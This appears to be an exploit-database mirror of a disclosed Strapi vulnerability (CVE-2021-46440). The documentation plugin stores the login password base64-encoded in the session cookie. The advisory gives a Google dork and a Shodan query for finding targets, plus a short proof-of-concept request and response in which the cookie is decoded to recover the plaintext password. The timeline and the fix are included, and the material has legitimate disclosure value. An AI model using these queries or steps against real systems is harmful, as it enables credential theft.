Lucene search
K

Strapi 3.6.8 Password Disclosure / Insecure Handling

🗓️ 02 May 2022 00:00:00Reported by Kitchaphan SingchaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 496 Views

Strapi 3.6.8 Password Disclosure / Insecure Handling - Vulnerability Description & Fi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Strapi 3.6.8 Password Disclosure / Insecure Handling Vulnerabilities
3 May 202200:00
zdt
Circl
CVE-2021-46440
3 May 202222:35
circl
CNNVD
Strapi 安全漏洞
2 May 202200:00
cnnvd
CVE
CVE-2021-46440
3 May 202217:03
cve
Cvelist
CVE-2021-46440
3 May 202217:03
cvelist
EUVD
EUVD-2022-3114
3 Oct 202520:07
euvd
Github Security Blog
Insecure password handling vulnerability in Strapi
4 May 202200:00
github
NVD
CVE-2021-46440
3 May 202218:15
nvd
OSV
GHSA-85VG-GRR5-PW42 Insecure password handling vulnerability in Strapi
4 May 202200:00
osv
Prion
Format string
3 May 202218:15
prion
Rows per page
`# Exploit Title: Strapi < 3.6.9 and < 4.1.5 DOCUMENTATION plugin - Storing Passwords in a Recoverable Format  
# Google Dork: intitle:"Welcome to your Strapi ap"  
# Shodan search: "X-Powered-By: Strapi <strapi.io>"  
# Date: 2022-03-30  
# Exploit Author: Kitchaphan Singchai [idealphase]  
# Vendor Homepage: https://strapi.io/  
# Software Link: https://github.com/strapi/strapi/releases  
# Vulnerable Version: < 3.6.9 and < 4.1.5  
# Version: 3.6.8  
# Tested on: Linux  
# CVE: CVE-2021-46440  
  
# Description:  
Storing passwords in a recoverable format in the DOCUMENTATION plugin component of Strapi version prior 3.6.9 and prior 4.1.5 allows an attacker to access a victim's HTTP request, get the victim's cookie, perform a base64 decode on the victim's cookie, and obtain a plaintext password, leading to getting API documentation for further API attacks.  
  
# This CVE has been fixed via this Github pull request.  
- Change documentation auth cookie system (https://github.com/strapi/strapi/pull/12246)  
  
# PoC:  
[Request]  
POST /documentation/login HTTP/1.1  
Host: 127.0.0.1:1337  
..[SNIP]..  
  
password=password  
  
[Response]  
HTTP/1.1 302 Found  
Set-Cookie: strapi.sid=eyJkb2N1bWVudGF0aW9uIjoicGFzc3dvcmQiLCJfZXhwaXJlIjoxNjQyNjg2NDQyNzc2LCJfbWF4QWdl Ijo4NjQwMDAwMH0=; path=/; httponly  
Set-Cookie: strapi.sid.sig=e-5j8FBY8RSWqjALRv2dlPT5_gw; path=/; httponly  
X-Powered-By: Strapi <strapi.io>  
..[SNIP]..  
  
Redirecting to <a href="/documentation">/documentation</a>.  
  
Perform Base64 decoding and we got plaintext password in “documentation” json key as shown below.  
{"documentation":"password","_expire":1642686442776,"_maxAge":86400000}  
  
# Timeline:  
19/Jan/2022 - Inform vulnerability to Strapi team  
20/Jan/2022 - Strapi validate the issue and have found a fix that they plan to review, merge, and release ASAP.  
8/Feb/2022 - Pull request created on Official Github strapi - Change documentation auth cookie system (https://github.com/strapi/strapi/pull/12246)  
28/Mar/2022 - Reserved CVE-2021-46440  
29/Mar/2022 - Reproduce vulnerability on v3.6.9 and v.4.1.5 [Status:Fixed]  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation